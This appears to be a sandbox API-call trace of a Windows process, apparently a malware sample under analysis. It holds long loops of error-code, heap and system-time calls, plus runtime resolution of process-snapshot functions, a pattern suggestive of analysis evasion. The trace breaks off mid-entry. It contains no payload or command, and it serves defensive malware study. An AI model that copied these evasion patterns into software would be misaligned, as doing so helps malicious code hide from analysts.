[0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.177] SetLastError (dwErrCode=0x0) [0060.177] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.178] SetLastError (dwErrCode=0x0) [0060.178] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.179] GetLastError () returned 0x0 [0060.179] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.180] SetLastError (dwErrCode=0x0) [0060.180] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.181] SetLastError (dwErrCode=0x0) [0060.181] GetLastError () returned 0x0 [0060.182] SetLastError (dwErrCode=0x0) [0060.182] GetLastError () returned 0x0 [0060.182] SetLastError (dwErrCode=0x0) [0060.182] GetLastError () returned 0x0 [0060.182] SetLastError (dwErrCode=0x0) [0060.182] GetLastError () returned 0x0 [0060.182] SetLastError (dwErrCode=0x0) [0060.182] GetLastError () returned 0x0 [0060.182] SetLastError (dwErrCode=0x0) [0060.182] GetLastError () returned 0x0 [0060.182] SetLastError (dwErrCode=0x0) [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x98) returned 0x1e11a00 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x1f) returned 0x1e11aa0 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x36) returned 0x1e11ac8 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x37) returned 0x1e11b08 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x3c) returned 0x1e11b48 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x31) returned 0x1e11b90 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x17) returned 0x1e11bd0 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x24) returned 0x1e11bf0 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x14) returned 0x1e11c20 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0xd) returned 0x1e11c40 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x25) returned 0x1e11c58 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x39) returned 0x1e11c88 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x18) returned 0x1e11cd0 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x17) returned 0x1e11cf0 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0xe) returned 0x1e11d10 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x69) returned 0x1e11d28 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x3e) returned 0x1e11da0 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x1b) returned 0x1e11de8 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x1d) returned 0x1e11e10 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x48) returned 0x1e11e38 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x12) returned 0x1e11e88 [0060.182] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x18) returned 0x1e11ea8 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x1b) returned 0x1e11ec8 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x24) returned 0x1e11ef0 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x29) returned 0x1e11f20 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x1e) returned 0x1e11f58 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x41) returned 0x1e11f80 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x17) returned 0x1e11fd0 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0xf) returned 0x1e11ff0 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x16) returned 0x1e12008 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x2a) returned 0x1e12028 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x29) returned 0x1e12060 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x15) returned 0x1e12098 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x1e) returned 0x1e120b8 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x2a) returned 0x1e120e0 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x12) returned 0x1e12118 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x18) returned 0x1e12138 [0060.183] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x46) returned 0x1e12158 [0060.183] HeapFree (in: hHeap=0x1e10000, dwFlags=0x0, lpMem=0x1e111f8 | out: hHeap=0x1e10000) returned 1 [0060.184] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x800) returned 0x1e121a8 [0060.184] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x80) returned 0x1e111f8 [0060.184] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e69) returned 0x0 [0060.184] RtlSizeHeap (HeapHandle=0x1e10000, Flags=0x0, MemoryPointer=0x1e111f8) returned 0x80 [0060.185] GetLastError () returned 0x0 [0060.185] SetLastError (dwErrCode=0x0) [0060.185] GetLastError () returned 0x0 [0060.185] SetLastError (dwErrCode=0x0) [0060.185] GetLastError () returned 0x0 [0060.185] SetLastError (dwErrCode=0x0) [0060.185] GetLastError () returned 0x0 [0060.185] SetLastError (dwErrCode=0x0) [0060.185] GetLastError () returned 0x0 [0060.185] SetLastError (dwErrCode=0x0) [0060.185] GetLastError () returned 0x0 [0060.185] SetLastError (dwErrCode=0x0) [0060.185] GetLastError () returned 0x0 [0060.185] SetLastError (dwErrCode=0x0) [0060.185] GetLastError () returned 0x0 [0060.185] SetLastError (dwErrCode=0x0) [0060.185] GetLastError () returned 0x0 [0060.185] SetLastError (dwErrCode=0x0) [0060.185] GetLastError () returned 0x0 [0060.185] SetLastError (dwErrCode=0x0) [0060.185] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.186] SetLastError (dwErrCode=0x0) [0060.186] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.187] SetLastError (dwErrCode=0x0) [0060.187] GetLastError () returned 0x0 [0060.188] SetLastError (dwErrCode=0x0) [0060.188] GetLastError () returned 0x0 [0060.188] SetLastError (dwErrCode=0x0) [0060.188] GetLastError () returned 0x0 [0060.188] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0060.188] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0060.188] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0060.188] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0060.190] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0060.190] PeekMessageA (in: lpMsg=0x18fa38, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa38) returned 0 [0060.190] GetTickCount () returned 0x11486dc [0060.190] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.190] GetACP () returned 0x4e4 [0060.190] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.190] GetACP () returned 0x4e4 [0060.190] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.190] GetACP () returned 0x4e4 [0060.190] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.191] GetACP () returned 0x4e4 [0060.191] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.191] GetACP () returned 0x4e4 [0060.191] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.191] GetACP () returned 0x4e4 [0060.191] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.191] GetACP () returned 0x4e4 [0060.191] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.191] GetACP () returned 0x4e4 [0060.191] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.191] GetACP () returned 0x4e4 [0060.191] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.191] GetACP () returned 0x4e4 [0060.191] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.191] GetACP () returned 0x4e4 [0060.191] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.192] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.192] GetACP () returned 0x4e4 [0060.192] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.192] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.192] GetACP () returned 0x4e4 [0060.192] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.192] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.192] GetACP () returned 0x4e4 [0060.192] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.192] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.192] GetACP () returned 0x4e4 [0060.192] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.192] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.192] GetACP () returned 0x4e4 [0060.192] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.192] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.192] GetACP () returned 0x4e4 [0060.192] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.192] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.192] GetACP () returned 0x4e4 [0060.192] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.192] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.192] GetACP () returned 0x4e4 [0060.192] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.192] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.192] GetACP () returned 0x4e4 [0060.193] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.193] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.193] GetACP () returned 0x4e4 [0060.193] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.193] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.193] GetACP () returned 0x4e4 [0060.193] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.193] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.193] GetACP () returned 0x4e4 [0060.193] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.193] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.193] GetACP () returned 0x4e4 [0060.193] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.193] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.193] GetACP () returned 0x4e4 [0060.193] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.193] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.193] GetACP () returned 0x4e4 [0060.193] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.193] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.193] GetACP () returned 0x4e4 [0060.193] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.193] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.193] GetACP () returned 0x4e4 [0060.193] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.194] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.194] GetACP () returned 0x4e4 [0060.194] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.194] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.194] GetACP () returned 0x4e4 [0060.194] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.194] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.194] GetACP () returned 0x4e4 [0060.194] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.194] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.194] GetACP () returned 0x4e4 [0060.194] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.194] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.194] GetACP () returned 0x4e4 [0060.194] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.194] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.194] GetACP () returned 0x4e4 [0060.194] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.194] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.194] GetACP () returned 0x4e4 [0060.194] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.194] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.194] GetACP () returned 0x4e4 [0060.194] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0060.194] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0060.194] GetACP () returned 0x4e4 [0060.194] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: 